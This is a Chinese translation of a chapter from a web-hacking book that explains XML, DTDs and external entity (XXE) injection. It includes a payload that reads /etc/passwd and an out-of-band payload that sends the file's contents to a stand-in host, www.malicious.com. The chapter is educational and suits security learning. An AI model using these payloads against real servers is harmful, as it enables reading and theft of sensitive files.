Web Hacking 101 中文版 十四、XML 外部實體注入(一)
十四、XML 外部實體注入
作者:Peter Yaworski
譯者:飛龍
XML 外部實體(XXE)漏洞涉及利用應用解析 XML 輸入的方式,更具體來說,應用程式處理輸入中外部實體的包含方式。為了完全理解理解如何利用,以及他的潛力。我覺得我們最好首先理解什麼是 XML 和外部實體。
元語言是用於描述其它語言的語言,這就是 XML。它在 HTML 之後開發,來彌補 HTML 的不足。HTML 用於定義資料的展示,專注於它應該是什麼樣子。房子,XML 用於定義資料如何被組織。
例如,HTML 中,你的標籤為<title>
, <h1>
, <table>
<p>
,以及其它。這些東西都用於定義內容如何展示。<title>
用於定義頁面的標題,<h1>
標籤定義了標題,<table>
標籤按行和列展示資料,並且<p>
表示為簡單文字。反之,XML 沒有預定義的標籤。建立 XML 文件的人可以定義它們自己的標籤,來描述展示的內容。這裡是一個示例。
<?xml version="1.0" encoding="UTF-8"?>
<jobs>
<job>
<title>Hacker</title>
<compensation >1000000</compensation>
<responsibility optional="1">Shot the web</responsibility>
</job>
</jobs>
讀完了之後,你可以大致猜測出 XML 文件的目的 – 為了展示職位列表,但是如果它在 Web 頁面上展示,你不知道它看起來是什麼樣。XML 的第一行是一個宣告頭部,表示 XML 的版本,以及編碼型別。在編寫此文的時候,XML 有兩個版本,1.0 和 1.1。它們的具體區別超出了本書範圍,因為它們在你滲透的時候沒什麼影響。
在初始的頭部之後,標籤<jobs>
<job>
標籤的外面。<job>
又包含<title>
、<compensation>
和<responsibilities>
標籤。現在如果是 HTML,一些標籤並不需要(但最好有)閉合標籤(例如<br>
),但是所有 XML 標籤都需要閉合標籤。同樣,選取上面的例子,<jobs>
是個起始標籤,</jobs>
是對應的閉合標籤。此外,每個標籤都有名稱,並且可以擁有屬性。使用標籤<job>
,標籤名稱就是job
,但是沒有屬性。另一方面,<responsibility>
擁有名稱responsibility
,並擁有屬性optional
,由屬性名稱optional
和值1
組成。
由於任何人可以定義任何標籤,問題就來了,如果標籤可以是任何東西,任何一個人如何知道如何解析和使用 XML 文件?好吧,一個有效的 XML 文件之所以有效,是因為它遵循了 XML 的通用規則(我不需要列出它們,但是擁有閉合標籤是一個前面提過的例子),並且它匹配了它的文件型別定義(DTD)。DTD 是我們繼續深入的全部原因,因為它是允許我們作為黑客利用它的一個東西。
XML DTD 就像是所使用的標籤的定義文件,並且由 XML 設計者或作者開發。使用上面的例子,我就是設計者,因為我在 XML 中定義了職位文件。DTD 定義了存在什麼標籤,它們擁有什麼屬性,以及其它元素裡面有什麼元素,以及其他。當你或者我建立自己的 DTD 時,一些已經格式化了,並且廣泛用於 RSS、RDF、HL7 SGML/XML。以及其它。
下面是 DTD 檔案的樣子,它用於我的 XML。
<!ELEMENT Jobs (Job)*>
<!ELEMENT Job (Title, Compensation, Responsiblity)>
<!ELEMENT Title (#PCDATA)>
<!ELEMENT Compenstaion (#PCDATA)>
<!ELEMENT Responsibility(#PCDATA)>
<!ATTLIST Responsibility optional CDATA "0">
看一看這個,你可能猜到了它大部分是啥意思。我們的jobs
標籤實際上是 XML !ELEMENT
,並且可以包含job
元素。job
是個!ELEMENT
,可以包含標題、薪資和職責,這些也都是!ELEMENT
,並且只能包含字元資料(#PCDATA
)。最後,!ELEMENT responsibility
擁有一個可選屬性(!ATTLIST
),預設值為 0。
並不是很難吧?除了 DTD,還有兩種還未討論的重要標籤,!DOCTYPE
和!ENTITY
。到現在為止,我只說了 DTD 檔案是我們 XML 的擴充套件。要記住上面的第一個例子,XML 文件並不包含標籤定義,它由我們第二個例子的 DTD 來完成。但是,我們可以將 DTD 包含在 XML 文件內,並且這樣做之後, XML 的第一行必須是<!DOCTYPE>
元素。將我們的兩個例子組合起來,我們就會得到這樣的文件:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Jobs [
<!ELEMENT Job (Title, Compensation, Responsiblity)>
<!ELEMENT Title (#PCDATA)> <!ELEMENT Compenstaion (#PCDATA)>
<!ELEMENT Responsibility(#PCDATA)>
<!ATTLIST Responsibility optional CDATA "0">
]>
<jobs>
<job>
<title>Hacker</title>
<compensation>1000000</compensation>
<responsibility optional="1">Shot the web</responsibility>
</job>
</jobs>
這裡,我們擁有了內部 DTD 宣告。要注意我們仍然使用一個宣告頭部開始,表示我們的文件遵循 XML 1.0 和 UTF8 編碼。但是之後,我們為 XML 定義了要遵循的DOCTYPE
。使用外部 DTD 是類似的,除了!DOCTYPE
是<!DOCTYPE note SYSTEM "jobs.dtd">
。XML 解析器在解析 XML 檔案時,之後會解析jobs.dtd
的內容。這非常重要,因為!ENTITY
標籤被近似處理,並且是我們利用的關鍵。
XML 實體像是一個資訊的佔位符。再次使用我們之前的例子。,如果我們想讓每個職位都包含到我們網站的連結,每次都編寫地址簡直太麻煩了,尤其是 URL 可能改變的時候。反之,我們可以使用!ENTITY
,並且讓解析器在解析時獲取內容,並插入到文件中。你可以看看我們在哪裡這樣做。
與外部 DTD 文件類似,我們可以更新我們的 XML 文件來包含這個想法:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE Jobs [
<!ELEMENT Job (Title, Compensation, Responsiblity, Website)>
<!ELEMENT Title (#PCDATA)> <!ELEMENT Compenstaion (#PCDATA)>
<!ELEMENT Responsibility(#PCDATA)>
<!ATTLIST Responsibility optional CDATA "0">
<!ELEMENT Website ANY>
<!ENTITY url SYSTEM "website.txt">
]>
<jobs>
<job>
<title>Hacker</title>
<compensation>1000000</compensation>
<responsibility optional="1">Shot the web</responsibility>
<website>&url;</website>
</job>
</jobs>
這裡你會注意到,我繼續並添加了Website
的!ELEMENT
,但是不是#PCDATA
,而是ANY
。這意味著Website
可以包含任何可解析的資料組合。我也定義了一個!ENTITY
,帶有SYSTEM
屬性,告訴解析器獲取wensite.txt
檔案的資料。現在一切都清楚了。
將它們放到一起,如果我包含了/etc/passwd
,而不是website.txt
,你覺得會發生什麼?你可能戶菜刀,我們的 XML 會被解析,並且伺服器敏感檔案/etc/passwd
的內容會包含進我們的內容。但是我們是 XML 的作者,所以為什麼要這麼做呢?
好吧。當受害者的應用可以濫用,在 XML 的解析中包含這種外部實體時,XXE 攻擊就發生了。換句話說,應用有一些 XML 預期,但是在接收時卻不驗證它。所以,只是解析他所得到的東西。例如,假設我正在執行一個職位公告板,並允許你註冊並通過 XML 上傳職位。開發我的應用時,我可能使我的 DTD 檔案可以被你訪問,並且假設你提交了符合需求的檔案。我沒有意識到它的危險,決定天真地解析收到的內容,並沒有任何驗證。但是作為一個黑客,你決定提交:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >
]>
<foo>&xxe;</foo>
就像你現在瞭解的那樣,當這個檔案被解析時,我的解析器會收到它,並且看到內部 DTD 定義了foo
文件型別,告訴它foo
可以包含任何可解析的資料,並且有個!ENTITY xxe
,它應該讀取我的/etc/passwd
檔案(file://
的用法表示/etc/passwd
的完整的檔案 URL 路徑),並會將&xxe;
替換為這個檔案的內容。之後你以定義<foo>
標籤的有效 XML 結束了它,這會打印出我的伺服器資料。這就是 XXE 危險的原因。
但是等一下,還有更多的東西。如果應用不打印出迴應,而是僅僅解析你的內容會怎麼樣?使用上面的例子,內容會解析但是永遠不會反回給我們。好吧,如果我們不包含本地檔案,而是打算和惡意伺服器通訊會怎麼樣?像是這樣:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]>
<foo>&callhome;</foo>
在解釋它之前,你可能已經注意到我在callhome
URL 中使用了%
來代替&
,%xxe
。這是因為%
用於實體在 DTD 定義內部被求值的情況,而&
用於實體在 XML 文件中被求值的情況。現在,當 XML 文件被解析,callhome !ENTITY
會讀取/etc/passwd
的內容,並遠端呼叫http://www.malicous.com
,將檔案內容作為 URL 引數來發送,因為我們控制了該伺服器,我們可以檢查我們的日誌,並且足夠確保擁有了/etc/passwd
的內容。Web 應用的遊戲就結束了。
所以,站點如何防範 XXE 漏洞?它們可以禁止解析任何外部實體。